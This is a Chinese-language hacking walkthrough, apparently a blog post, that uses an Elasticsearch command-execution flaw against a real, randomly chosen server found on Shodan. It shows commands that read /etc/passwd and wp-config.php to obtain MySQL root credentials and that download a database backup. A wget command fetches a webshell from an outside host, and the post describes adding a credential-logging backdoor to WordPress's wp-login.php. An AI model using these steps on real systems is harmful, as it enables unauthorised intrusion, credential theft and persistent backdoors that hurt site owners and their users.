通過ElasticSearch漏洞獲取某站webshell權限
原創ElasticSearch在一些大型企業內部往往部署的比較多,因此在獲取某內網權限后,進一步的滲透就非常有意義了。在上一篇《ElasticSearch漏洞實戰:通過perl進行反彈shell》中分析了通過perl腳本來獲取反彈的shell,反彈的shell具有一定的時效性,本文就非perl方面的滲透進行探討。
1.通過shodanhq搜索引擎搜索關鍵字“Elasticsearch”
首先在網站shodanhq.com注冊一個用戶,注冊成功后需要通過郵箱進行激活,激活后即可使用。在搜索框中輸入關鍵字“Elasticsearch”進行搜索,如圖1所示,結果以top countries顯示查詢記錄,在早期搜索結果中中國排名第一,后面以美國部署的服務器較多。在結果列表中隨機選擇一個IP地址,在本例中選擇的是國外的IP。
圖1搜索關鍵詞“ElasticSearch”
2.通過FireFox便攜版本進行漏洞測試
在FireFox便攜版本輸入地址“http://192.121.xxx.xxx:9200/_search?pretty”,然后單擊“Load Url”,如圖2所示,在Post Data中輸入以下代碼:
該代碼的目的是讀取linux操作系統中的/etc/passwd文件的內容,如果存在漏洞則讀取passwd文件內容,反之則說明該漏洞不存在。
圖2測試漏洞是否存在
3.查詢敏感文件
在Post data中修改exec(\"cat /etc/passwd\")內容為exec(\"locate *.php \")、exec(\"locate *.sql \")、exec(\"locate *.conf \")等以獲取敏感文件信息,如圖3所示,表明該服務器可能使用php,且cms系統可能為wordpress。
圖3尋找系統敏感信息
使用代碼以下代碼直接獲取wp-config.php 文件所在路徑“/usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”,如圖4所示:
圖4獲取wp-config.php的路徑
4.定位網站和真實路徑
通過執行“cat /usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”來讀取該文件內容,如圖5所示,獲取mysql數據庫root賬號和密碼以及網站域名xxxxxxxxxxxxx.com
等信息。通過查看網站所在根目錄,還發現有mysql文件備份,通過flashget下載工具將其下載到本地,如圖6所示。
圖5獲取網站域名等信息
圖6下載數據庫文件#p#
5.獲取webshell
通過執行命令:wget -O /usr/share/nginx/xxxxxxa2/__MACOSX/oxxxxxxxa/ wp-content/uploads /my.php http://www.antian365.com/data/cache/2.txt 將webshell下載到本地服務器中/usr/share/nginx/xxxxxx2/__MACOSX/xxxxxxxxxxxxx/ wp-content/uploads目錄,webshell地址http://ocXXXXXx.com/wp-content/uploads/my.php,通過中國菜刀進行連接,如圖7所示成功獲取webshell權限。
圖7獲取webshell權限
6.討論
在本例中通過命令執行漏洞下載了mysql數據庫文件,通過查看該文件知道了wordpress管理員的密碼等信息,如圖8所示,可以對該密碼進行破解,通過破解的密碼和用戶進行登錄,再通過后臺來提權,也可以輕松獲取webshell后門。
圖8獲取wordpress后臺管理員密碼等信息
還可以在wp-login.php文件中加入密碼記錄代碼,在if ( force_ssl_admin() && ! is_ssl() )代碼結束處加入記錄代碼,如圖9所示,加入后的代碼如下:
定期訪問http://www.antian365.com/wp-content/plugins/d.txt,即可獲取管理員登錄密碼等信息。
圖9記錄wordpress密碼代碼
注:本文僅供安全研究使用。